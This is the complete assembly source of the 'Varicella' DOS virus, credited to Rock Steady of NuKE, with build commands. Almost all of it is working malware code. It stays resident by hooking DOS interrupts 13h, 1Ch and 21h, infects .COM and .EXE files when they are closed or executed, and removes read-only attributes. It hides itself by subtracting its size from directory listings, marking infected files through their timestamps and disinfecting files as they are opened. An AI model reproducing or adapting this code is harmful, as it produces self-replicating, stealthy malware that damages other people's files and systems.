;=<VARICELL.ASM>================================================================
;       (c) NuKE Software Development 1991, 1992, 1993
;
;       VARICELLA VIRUS (Size 1483)
;
;       By Rock Steady
;
; TASM VARICELL;
; TLINK/T VARICELL;
;
virus_size      equ     last - init_virus               ;virus size (bytes)
mut1            equ     3
mut2            equ     1
mut3            equ     103h                            ;offset in memory

seg_a           segment byte public
                assume  cs:seg_a,ds:seg_a

                org     100h                            ;compile to .com

start:          jmp     init_virus

;-------------------------------------------------------------------------------
init_virus:     call    doit_now                        ;begin virus

doit_now:       pop     bp                              ;pop call offset
                sub     bp,offset doit_now              ;fix it with pointer

                push    ax                              ;save registers
                push    ds
                push    es

                mov     ax,0abcdh                       ;check if virus is
                int     13h                             ;alive in memory
                jmp     next_code1                      ;force jump

virus_here:     jmp     exit_com                        ;error jump exit

next_code1:     cmp     bx,0abcdh                       ;cmp bx if virus alive
                jnz     install_virus
                jmp     virus_here                      ;yes, skip memory part

install_virus:  push    bx                              ;save registers
                push    cx
                push    dx
                push    si
                push    di
                push    ds

                xor     dx,dx                           ;0 value to dx
                mov     ds,dx                           ;put that in ds
                les     si,dword ptr ds:[0084h]         ;get int21 vector
                mov     word ptr cs:[int21][bp],si      ;save int21 offset
                mov     word ptr cs:[int21+2][bp],es    ;save int21 segment

                les     si,dword ptr ds:[0070h]         ;get int1c vector
                mov     word ptr cs:[int1c][bp],si      ;save int1c offset
                mov     word ptr cs:[int1c+2][bp],es    ;save int1c segment

                les     si,dword ptr ds:[004ch]         ;get int13 vector
                mov     word ptr cs:[int13][bp],si      ;save int13 offset
                mov     word ptr cs:[int13+2][bp],es    ;save int13 segment

                pop     ds                              ;DS=PSP (.exe only)
                push    ds                              ;save DS
                mov     ax,ds                           ;ds=cx
                dec     ax                              ;dec cx, cx=mcb
                mov     es,ax                           ;es=cx, mcb
                mov     bx,es:mut1                      ;bx=es:0003, mem size
                mov     dx,virus_size                   ;dx=virus size (bytes)
                mov     cl,4
                shr     dx,cl                           ;convert bytes to 16k
                add     dx,4                            ;paragraphs + 1
                mov     cx,es                           ;cx=psp segment
                sub     bx,dx                           ;sub virus size from
                inc     cx                              ;new mem address
                mov     es,cx                           ;new segment
                mov     ah,4ah                          ;set the block size
                int     21h

                jc      exit_mem
                mov     ah,48h
                dec     dx                              ;alloc the mem
                mov     bx,dx                           ;bx=# of para blocka
                int     21h

                jc      exit_mem
                dec     ax                              ;new segment add
                mov     es,ax                           ;ax=es=mcb
                mov     cx,8h                           ;DOS is the owner
                mov     es:mut2,cx                      ;put it in mcb
                sub     ax,0fh
                mov     di,mut3                         ;new offset to go
                mov     es,ax                           ;es=segment
                mov     si,bp                           ;add delta offset
                add     si,offset init_virus            ;begining of virus
                mov     cx,virus_size                   ;our size
                push    cs                              ;get the correct
                pop     ds                              ;segment in ds
                cld                                     ;clear direction to +
                repne   movsb                           ;move us

                mov     ds,cx                           ;ds=0000
                cli                                     ;disable ints
                mov     word ptr ds:[0084h],offset int21_handler     ;hook int21
                mov     word ptr ds:[0086h],es
                mov     word ptr ds:[0070h],offset int1c_handler     ;hook int1c
                mov     word ptr ds:[0072h],es
                mov     word ptr ds:[004ch],offset int13_handler     ;hook int13
                mov     word ptr ds:[004eh],es
                sti                                     ;enable ints

exit_mem:       pop     ds                              ;restore 'em
                pop     di
                pop     si
                pop     dx
                pop     cx
                pop     bx

exit_com:       cmp     word ptr cs:[buffer][bp],5A4Dh  ;.exe file?
                je      exit_exe_file                   ;yupe exit exe file
                cmp     word ptr cs:[buffer][bp],4D5Ah  ;.exe file?
                je      exit_exe_file                   ;yupe exit exe file
                push    cs                              ;fix cs=ds for .com
                pop     ds
                mov     bx,offset buffer                ;get first 3 bytes
                add     bx,bp                           ;fix delta
                mov     ax,[bx]                         ;move first 2 bytes
                mov     word ptr ds:[100h],ax           ;put em in the beginning
                inc     bx                              ;inc pointer
                inc     bx
                mov     al,[bx]                         ;get last of 3rd byte
                mov     byte ptr ds:[102h],al           ;put that in place
                pop     es
                pop     ds
                pop     word ptr cs:[ax_reg][bp]        ;save ax else where
                mov     ax,100h
                push    ax                              ;fake a CALL & RETN
                mov     ax,word ptr cs:[ax_reg][bp]     ;put ax as normal
                retn                                    ;link to 100h

exit_exe_file:  mov     dx,ds                           ;get psp=ds seg
                add     dx,10h                          ;add 16bytes to seg
                pop     es
                pop     ds
                pop     ax
                add     word ptr cs:[buffer+22][bp],dx  ;fix segments
                add     dx,word ptr cs:[buffer+14][bp]
                cli
                mov     ss,dx                           ;restore ss
                mov     sp,word ptr cs:[buffer+16][bp]  ;and sp
                sti
                jmp     dword ptr cs:[buffer+20][bp]    ;jmp to entry pt.

ax_reg          dd      0
bp_reg          dd      0
int13           dd      0
int1c           dd      0
int21           dd      0
;===============================================================================
;                       Int 13h Handler
;===============================================================================
int13_handler:
                cmp     ax,0abcdh                       ;virus test
                je      int13_test                      ;yupe

int13call:      jmp     dword ptr cs:[int13]            ;original int13

int13_test:     mov     bx,ax                           ;fix
                iret
;===============================================================================
;                       Int 1Ch Handler
;===============================================================================
int1c_handler:
                iret
;-------------------------------------------------------------------------------
;                       FCB Dir Stealth Routine (File Find)
;-------------------------------------------------------------------------------
fcb_dir:        call    calldos21                       ;get the fcb block
                test    al,al                           ;test for error
                jnz     fcb_out                         ;jmp if error
                push    ax                              ;save registers
                push    bx
                push    cx
                push    es
                mov     ah,51h                          ;get current psp
                call    calldos21                       ;call int21

                mov     es,bx                           ;es=segment of psp
                cmp     bx,es:[16h]                     ;psp of command.com?
                jnz     fcb_out1                        ;no, then jmp
                mov     bx,dx                           ;ds:bx=fcb
                mov     al,[bx]                         ;1st byte of fcb
                push    ax                              ;save it
                mov     ah,2fh                          ;get dta
                call    calldos21                       ;es:bx <- dta

                pop     ax                              ;get first byte
                inc     al                              ;al=ffh therefor al=ZR
                jnz     fcb_old                         ;if != ZR jmp
                add     bx,7h                           ;extended fcb here, +7
fcb_old:        mov     ax,es:[bx+17h]                  ;get file time stamp
                mov     cx,es:[bx+19h]                  ;get file date stamp
                and     ax,1fh                          ;unmask seconds field
                and     cx,1fh                          ;unmask day of month
                xor     ax,cx                           ;are they equal?
                jnz     fcb_out1                        ;nope, exit then
                sub     word ptr es:[bx+1dh],virus_size ;sub away virus_size
                sbb     word ptr es:[bx+1fh],0          ;sub with carry flag

fcb_out1:       pop     es                              ;restore registers
                pop     cx
                pop     bx
                pop     ax
fcb_out:        iret                                    ;return control
;-------------------------------------------------------------------------------
;                       ASCIIZ Dir Stealth Routine (File Find)
;-------------------------------------------------------------------------------
dta_dir:        call    calldos21                       ;get results to dta
                jb      dta_out                         ;if error, split
                push    ax                              ;save register
                push    bx
                push    cx
                push    es
                mov     ah,2fh                          ;get current dta
                call    calldos21                       ;es:bx <- dta

                mov     ax,es:[bx+16h]                  ;get file time stamp
                mov     cx,es:[bx+18h]                  ;get file date stamp
                and     ax,1fh                          ;unmask seconds field
                and     cx,1fh                          ;unmask day of month
                xor     ax,cx                           ;are they equal
                jnz     dta_out1                        ;nope, exit then
                sub     word ptr es:[bx+1ah],virus_size ;sub away virus_size
                sbb     word ptr es:[bx+1ch],0          ;sub with carry flag

dta_out1:       pop     es                              ;restore registers
                pop     cx
                pop     bx
                pop     ax
dta_out:        retf    0002h                           ;pop 2 words of stack
;===============================================================================
;                       Int 21h Handler
;===============================================================================
int21_handler:
                cmp     ah,11h                          ;FCB find first match
                je      old_dir
                cmp     ah,12h                          ;FCB find next match
                je      old_dir
                cmp     ah,4eh                          ;Find first match
                je      new_dir
                cmp     ah,4fh                          ;Find next match
                je      new_dir
                cmp     ah,3dh                          ;Opening a file
                je      file_open
                cmp     ah,6ch                          ;Ext_opening a file
                je      file_ext_open
                cmp     ah,3eh                          ;closing a file
                je      file_close
                cmp     ah,4bh                          ;Execution of a file
                je      file_execute

int21call:      jmp     dword ptr cs:[int21]            ;original int21

old_dir:        jmp     fcb_dir                         ;fcb file find

new_dir:        jmp     dta_dir                         ;new asciiz file find

file_open:      jmp     open_file                       ;disinfect opening file

file_ext_open:  jmp     open_ext_file                   ;disinfect opening file

file_close:     jmp     close_file                      ;infect closing file

file_execute:   call    check_extension                 ;check for ok ext
                cmp     byte ptr cs:[com_ext],1         ;is it a com?
                je      exec_disinfect                  ;yupe disinfect it
                cmp     byte ptr cs:[exe_ext],1         ;is it a exe?
                je      exec_disinfect                  ;yupe disinfect it
                jmp     SHORT int21call

exec_disinfect: call    exec_disinfect1                 ;Disinfect file

                mov     word ptr cs:[ax_reg],dx
                pushf                                   ;fake an int
                call    dword ptr cs:[int21]            ;call dos
                xchg    word ptr cs:[ax_reg],dx         ;restore dx

                mov     byte ptr cs:[close],0           ;reset flag..
                push    ax                              ;store 'em
                push    bx
                push    cx
                push    dx
                push    si
                push    di
                push    es
                push    ds
closing_infect: mov     ax,3524h                        ;get error handler
                call    calldos21                       ;call dos

                push    es                              ;save es:bx= int_24
                push    bx                              ;error handler
                push    ds                              ;ds:dx= asciiz string
                push    dx
                push    cs                              ;cs=ds
                pop     ds
                mov     dx,offset int21_handler         ;hook error handler
                mov     ax,2524h                        ;with our int24h
                call    calldos21
                pop     dx                              ;restore ds:dx asciiz
                pop     ds                              ;string

                cmp     byte ptr cs:[close],0           ;Are we closing file?
                je      exec_get_att                    ;nope, then jmp
                mov     ax,word ptr cs:[handle]         ;yupe, ax=file handle
                jmp     exec_open_ok                    ;jmp so you don't open
                                                        ;the file twice...
exec_get_att:   mov     ax,4300h                        ;get file attribs
                call    calldos21                       ;call dos
                jnc     exec_attrib                     ;no, error jmp
                jmp     exec_exit2                      ;ERROR - split

exec_attrib:    mov     byte ptr cs:[attrib],cl
                test    cl,1                            ;check bit 0 (read_only)
                jz      exec_attrib_ok                  ;if bit0=0 jmp
                dec     cx                              ;else turn of bit_0
                mov     ax,4301h                        ;write new attribs
                call    calldos21                       ;call dos

exec_attrib_ok: mov     ax,3d02h                        ;open file for r/w
                call    calldos21                       ;call dos
                jnc     exec_open_ok                    ;ok, no error jmp
                jmp     exec_exit2                      ;ERROR - split

exec_open_ok:   xchg    bx,ax                           ;bx=file handler
                push    cs                              ;cs=ds
                pop     ds
                mov     ax,5700h                        ;get file time/date
                call    calldos21                       ;call dos

                mov     word ptr cs:[old_time],cx       ;save file time
                mov     word ptr cs:[org_time],cx
                mov     word ptr cs:[old_date],dx       ;save file date
                and     cx,1fh                          ;unmask second field
                and     dx,1fh                          ;unmask date field
                xor     cx,dx                           ;are they equal?
                jnz     exec_time_ok                    ;nope, file not infected
                jmp     exec_exit3                      ;FILE INFECTED

exec_time_ok:   and     word ptr cs:[old_time],0ffe0h   ;reset second bits
                or      word ptr cs:[old_time],dx       ;seconds=day of month

                mov     ax,4200h                        ;reset ptr to beginning
                xor     cx,cx                           ;(as opened files may
                xor     dx,dx                           ; have ptr anywhere,
                call    calldos21                       ; so be smart!)

                mov     word ptr cs:[marker],0DBDBh     ;File Infection marker
                mov     dx,offset ds:[buffer]           ;ds:dx buffer
                mov     cx,18h                          ;read 18h bytes
                mov     ah,3fh                          ;read from handle
                call    calldos21                       ;call dos

                jc      exec_exit1                      ;error? if yes jmp
                sub     cx,ax                           ;did we read 18h bytes?
                jnz     exec_exit1                      ;if no exit
                mov     dx,cx                           ;cx=0 dx=0
                mov     ax,4202h                        ;jmp to EOF
                call    calldos21                       ;call dos

                jc      exec_exit1                      ;error? exit if so.
                mov     word ptr cs:[filesize+2],ax     ;save lower 16bit fileSz
                mov     word ptr cs:[filesize],dx       ;save upper 16bit fileSz
                call    chkbuf                          ;check if .exe
                jz      exec_cool                       ;jmp if .exe file
                cmp     ax,0FFF0h - virus_size          ;64k-256-virus < 64k?
                jb      exec_cool                       ;if less jmp!

exec_exit1:     jmp     exec_exit3                      ;exit!

exec_cool:      mov     dx,offset init_virus            ;ds:dx=virus beginning
                mov     cx,virus_size                   ;cx=virus size
                mov     ah,40h                          ;write to handle
                call    calldos21                       ;call dos
                jc      exec_exit1                      ;error? if yes exit
                sub     cx,ax                           ;cx=ax bytes?
                jnz     exec_exit1                      ;not equal exit
                mov     dx,cx                           ;cx=0 dx=0
                mov     ax,4200h                        ;jmp to top of file
                call    calldos21                       ;call dos

                jc      exec_exit1                      ;error, then exit
                mov     ax,word ptr cs:[filesize+2]     ;ax=lower 16bit fileSize
                call    chkbuf                          ;check if .exe
                jnz     exec_com_file                   ;if !=.exe jmp
                mov     dx,word ptr cs:[filesize]       ;get upper 16bit

                mov     cx,4                            ;cx=0004
                mov     si,word ptr cs:[buffer+8]       ;get exe header size
                shl     si,cl                           ;mul by 16
                sub     ax,si                           ;exe_header - filesize
                sbb     dx,0h                           ;sub with carry

                mov     cx,10h                          ;cx=0010
                div     cx                              ;ax=length in para
                                                        ;dx=remaider
                mov     word ptr cs:[buffer+20],dx      ;New IP offset address
                mov     word ptr cs:[buffer+22],ax      ;New CS (In paragraphs)
                add     dx,virus_size+100h              ;Dx=virus_size+256

                mov     word ptr cs:[buffer+16],dx      ;New SP entry
                mov     word ptr cs:[buffer+14],ax      ;New SS (in para)
                add     word ptr cs:[buffer+10],(virus_size)/16+1   ;min para
                mov     ax,word ptr cs:[buffer+10]      ;ax=min para needed
                cmp     ax,word ptr cs:[buffer+12]      ;cmp with max para
                jb      exec_size_ok                    ;jmp if ok!
                mov     word ptr cs:[buffer+12],ax      ;nop, enter new max

exec_size_ok:   mov     ax,word ptr cs:[buffer+2]       ;ax=file size
                add     ax,virus_size                   ;add virus to it
                push    ax                              ;push it
                and     ah,1                            ;
                mov     word ptr cs:[buffer+2],ax       ;restore new value
                pop     ax                              ;pop ax
                mov     cl,9                            ;
                shr     ax,cl                           ;
                add     word ptr cs:[buffer+4],ax       ;enter fileSz + header
                mov     dx,offset buffer                ;ds:dx=new exe header
                mov     cx,18h                          ;cx=18h bytes to write
                jmp     SHORT exec_write_it             ;jmp...

exec_com_file:  sub     ax,3                            ;sub 3 for jmp address
                mov     word ptr cs:[buffer+1],ax       ;store new jmp value
                mov     byte ptr cs:[buffer],0E9h       ;E9h=JMP
                mov     dx,offset buffer                ;ds:dx=buffer
                mov     cx,3                            ;cx=3 bytes

exec_write_it:  mov     ah,40h                          ;write to file handle
                call    calldos21                       ;call dos

                mov     dx,word ptr cs:[old_date]       ;restore old date
                mov     cx,word ptr cs:[old_time]       ;restore old time
                mov     ax,5701h                        ;write back to file
                call    calldos21                       ;call dos

exec_exit3:     mov     ah,3eh                          ;close file
                call    calldos21                       ;call dos

exec_exit2:     pop     dx                              ;restore es:bx (the
                pop     ds                              ;original int_24)
                mov     ax,2524h                        ;put back to place
                call    calldos21                       ;call dos

                pop     ds
                pop     es
                pop     di                              ;pop registers
                pop     si
                pop     dx
                xor     cx,cx
                mov     cl,byte ptr cs:[attrib]         ;get old file attrib
                mov     ax,4301h                        ;put them back
                call    calldos21                       ;call dos
                pop     cx
                pop     bx
                pop     ax

                cmp     byte ptr cs:[close],0           ;get called by exec?
                je      exec_good_bye                   ;yep, then jmp
                iret                                    ;else exit now.

exec_good_bye:  mov     dx,word ptr cs:[ax_reg]         ;restore dx
                iret                                    ;iret
;-------------------------------------------------------------------------------
;                       Close File Int21h/ah=3Eh
;-------------------------------------------------------------------------------
close_file:     cmp     bx,4h                           ;file handler > 4?
                ja      close_cont                      ;jmp if above
                jmp     int21call                       ;else exit

close_cont:     push    ax                              ;save 'em
                push    bx
                push    cx
                push    dx
                push    si
                push    di
                push    es
                push    ds

                push    bx                              ;save file handler
                mov     ax,1220h                        ;get job file table!
                int     2fh                             ;call multiplex
                                                        ;es:di=JFT for handler
                mov     ax,1216h                        ;get system file table
                mov     bl,es:[di]                      ;bl=SFT entry
                int     2fh                             ;call multiplex
                pop     bx                              ;save file handler

                add     di,0011h
                mov     byte ptr es:[di-0fh],02h        ;set to read/write

                add     di,0017h
                cmp     word ptr es:[di],'OC'           ;check for .COM file
                jne     closing_next_try                ;no try next ext
                cmp     byte ptr es:[di+2h],'M'         ;check last letter
                je      closing_cunt3                   ;no, file no good, exit

closing_exit:   jmp     closing_nogood                  ;exit

closing_next_try:
                cmp     word ptr es:[di],'XE'           ;check for .EXE file
                jne     closing_exit                    ;no, exit
                cmp     byte ptr es:[di+2h],'E'         ;check last letter
                jne     closing_exit                    ;no, exit

closing_cunt3:  mov     byte ptr cs:[close],1           ;set closing flag
                mov     word ptr cs:[handle],bx         ;save handler
                jmp     closing_infect                  ;infect file!

closing_nogood: pop     ds                              ;restore 'em
                pop     es
                pop     di
                pop     si
                pop     dx
                pop     cx
                pop     bx
                pop     ax
                jmp     int21call                       ;good bye, baby...
;-------------------------------------------------------------------------------
;               Execute Disinfecting routine
;-------------------------------------------------------------------------------
exec_disinfect1         PROC
                push    ax                              ;save registers
                push    bx
                push    cx
                push    dx
                push    ds

                mov     ax,4300h                        ;get file attribs
                call    calldos21                       ;call dos

                test    cl,1h                           ;is Read-only flag?
                jz      okay_dis                        ;no, jmp attribs ok
                dec     cx                              ;turn off bit 0
                mov     ax,4301h                        ;write new attribs
                call    calldos21                       ;call dos
                jnc     okay_dis                        ;No error? then jmp
                jmp     end_dis                         ;error? exit!

okay_dis:       mov     ax,3d02h                        ;open file for r/w
                call    calldos21                       ;call dos
                jnc     dis_fileopen                    ;No error? then jmp
                jmp     end_dis                         ;Error? exit!

dis_fileopen:   xchg    bx,ax                           ;bx=file handle
                mov     ax,5700h                        ;get file time/date
                call    calldos21                       ;call dos

                mov     word ptr cs:[old_time],cx       ;save file time
                mov     word ptr cs:[old_date],dx       ;save file date
                and     cx,1fh                          ;unmask second field
                and     dx,1fh                          ;unmask date field
                xor     cx,dx                           ;are they equal?
                jnz     half_way                        ;nope, file not infected

                mov     ax,4202h                        ;jmp to EOF
                xor     cx,cx                           ;cx=0
                xor     dx,dx                           ;dx=0
                call    calldos21                       ;call dos

                push    cs                              ;cs=ds
                pop     ds                              ;
                mov     cx,dx                           ;dx:ax=file size
                mov     dx,ax                           ;save to cx:dx
                push    cx                              ;save upper fileSz
                push    dx                              ;save lower fileSz

                sub     dx,1Ch                          ;filesize-1C=origin byte
                sbb     cx,0                            ;sub with carry
                mov     ax,4200h                        ;position ptr
                call    calldos21                       ;call dos
                mov     ah,3fh                          ;open file
                mov     cx,1Ch                          ;read last 1Ch bytes
                mov     dx,offset org_time              ;put in ds:dx
                call    calldos21                       ;call dos
                call    chkbuf                          ;Did it work?
                je      half                            ;Yes,Jmp
                cmp     word ptr ds:[marker],0DBDBh     ;File REALLY Infected?
                je      half                            ;Yes, then jmp

                pop     dx
                pop     cx
half_way:       jmp     end_dis1                        ;exit, error!

half:           xor     cx,cx                           ;cx=0
                xor     dx,dx                           ;dx=0
                mov     ax,4200h                        ;pointer to top of file
                call    calldos21                       ;call dos

                mov     ah,40h                          ;write function
                mov     dx,offset buffer                ;ds:dx=buffer
                mov     cx,18h                          ;cx=18h bytes to write
                call    chkbuf                          ;check if .exe?
                jz      SHORT dis_exe_jmp               ;yupe, jmp
                mov     cx,3h                           ;else write 3 bytes
dis_exe_jmp:    call    calldos21                       ;call dos

                pop     dx                              ;pop original fileSz
                pop     cx

                sub     dx,virus_size                   ;Sub with virus_size
                sbb     cx,0                            ;sub with carry
                mov     ax,4200h                        ;ptr top of virus
                call    calldos21                       ;call dos

                mov     ah,40h                          ;write function
                xor     cx,cx                           ;write 0 bytes
                call    calldos21                       ;call dos! (new EOF)

                mov     cx,word ptr ds:[org_time]       ;get original time
                mov     dx,word ptr ds:[old_date]       ;get original date
                mov     ax,5701h                        ;put back to file
                call    calldos21                       ;call dos

end_dis1:       mov     ah,3eh                          ;close file handle
                call    calldos21                       ;call dos

end_dis:        pop     ds                              ;restore values
                pop     dx
                pop     cx
                pop     bx
                pop     ax
                ret
exec_disinfect1         ENDP
;-------------------------------------------------------------------------------
;                       Open File by DOS Int21h/ah=6ch
;-------------------------------------------------------------------------------
open_ext_file:  push    dx                              ;save DX
                mov     dx,si                           ;asciiz=DS:DX now
                jmp     open_ext                        ;jmp
;-------------------------------------------------------------------------------
;                       Open File by DOS Int21h/ah=3Dh
;-------------------------------------------------------------------------------
open_file:      push    dx                              ;save dx (asciiz)
open_ext:       call    check_extension                 ;check extension
                cmp     byte ptr cs:[com_ext],1         ;is it a .com?
                je      open_ok_ext                     ;yep, then jmp
                cmp     byte ptr cs:[exe_ext],1         ;is it a .exe?
                je      open_ok_ext                     ;yep, them jmp
                jmp     open_exit                       ;ext no good, exit!

open_ok_ext:    call    exec_disinfect1                 ;disinfect file!
open_exit:      pop     dx                              ;restore dx
                jmp     int21call                       ;exit to dos...
;-------------------------------------------------------------------------------
;                       Checks Buffer (EXE) Header
;-------------------------------------------------------------------------------
chkbuf                  PROC
                push    si                              ;save register
                mov     si,word ptr cs:[buffer]         ;get first word
                cmp     si,5A4Dh                        ;si=ZM?
                je      chkbuf_ok                       ;if yes exit
                cmp     si,4D5Ah                        ;si=MZ?
chkbuf_ok:      pop     si                              ;pop register
                ret
chkbuf                  ENDP
;-------------------------------------------------------------------------------
;                       Check file Extension
;-------------------------------------------------------------------------------
check_extension         PROC
                pushf                                   ;save flags
                push    cx                              ;save cx,si
                push    si
                mov     si,dx                           ;ds:[si]=asciiz
                mov     cx,128                          ;scan 128 bytes max
                mov     byte ptr cs:[com_ext],0         ;reset .com flag
                mov     byte ptr cs:[exe_ext],0         ;reset .exe flag

check_ext:      cmp     byte ptr ds:[si],2Eh            ;scan for "."
                je      check_ext1                      ;jmp if found
                inc     si                              ;else inc and loop
                loop    check_ext                       ;loop me

check_ext1:     inc     si                              ;inc asciiz ptr
                cmp     word ptr ds:[si],'OC'           ;is it .COM
                jne     check_ext2                      ;       ~~
                cmp     byte ptr ds:[si+2],'M'          ;is it .COM
                je      com_file_ext                    ;         ~

check_ext2:     cmp     word ptr ds:[si],'oc'           ;is it .com
                jne     check_ext3                      ;       ~~
                cmp     byte ptr ds:[si+2],'m'          ;is it .com
                je      com_file_ext                    ;         ~

check_ext3:     cmp     word ptr ds:[si],'XE'           ;is it .EXE
                jne     check_ext4                      ;       ~~
                cmp     byte ptr ds:[si+2],'E'          ;is it .EXE
                je      exe_file_ext                    ;         ~

check_ext4:     cmp     word ptr ds:[si],'xe'           ;is it .exe
                jne     check_ext_exit                  ;       ~~
                cmp     byte ptr ds:[si+2],'e'          ;is it .exe
                je      exe_file_ext                    ;         ~
                jmp     check_ext_exit                  ;neither exit

com_file_ext:   mov     byte ptr cs:[com_ext],1         ;found .com file
                jmp     SHORT check_ext_exit            ;jmp short
exe_file_ext:   mov     byte ptr cs:[exe_ext],1         ;found .exe file

check_ext_exit: pop     si                              ;restore
                pop     cx
                popf                                    ;save flags
                ret

com_ext         db      0                               ;flag on=.com file
exe_ext         db      0                               ;flag on=.exe file
check_extension         ENDP
;-------------------------------------------------------------------------------
;                       Original Int21h
;-------------------------------------------------------------------------------
calldos21               PROC
                pushf                           ;fake int call
                call    dword ptr cs:[int21]    ;call original int_21
                ret
calldos21               ENDP
;===============================================================================
;                       Int 24h Handler
;===============================================================================
int24_handler:
                mov     al,3                    ;don't report error...
                iret                            ;later dude...
;-------------------------------------------------------------------------------
;              FLAGS - FLAGS - FLAGS - FLAGS - FLAGS

close           db      0                       ;closing file

;-------------------------------------------------------------------------------
;             END - END - END - END - END - END - END

flags           dw      0                       ;Flags are saved here
attrib          db      0                       ;file's attrib
filesize        dd      0                       ;filesize
handle          dw      0                       ;file handler
old_date        dw      0                       ;file date
old_time        dw      0                       ;file time
org_time        dw      0                       ;original file time

;-------------------------------------------------------------------------------
buffer          db      0CDh,020h       ; 0 (0)  EXE file signature
                db      090h,090h       ; 2 (2)  Length of file
                db      090h,090h       ; 4 (4)  Size of file + header (512k)
                db      090h,090h       ; 6 (6)  # of relocation items
                db      090h,090h       ; 8 (8)  Size of header (16byte para)
                db      090h,090h       ; A (10) Min para needed (16byte)
                db      090h,090h       ; C (12) Max para needed (16byte)
                db      090h,090h       ; E (14) SS reg from start in para.
                db      090h,090h       ; 10(16) SP reg at entry
                db      090h,090h       ; 12(18) checksum
                db      090h,090h       ; 14(20) IP reg at entry
                db      090h,090h       ; 16(22) CS reg from start in para.
Marker          db      0DBh,0DBh       ; Marks THIS File as INFECTED!
last:
seg_a           ends
                end     start
================================================================================
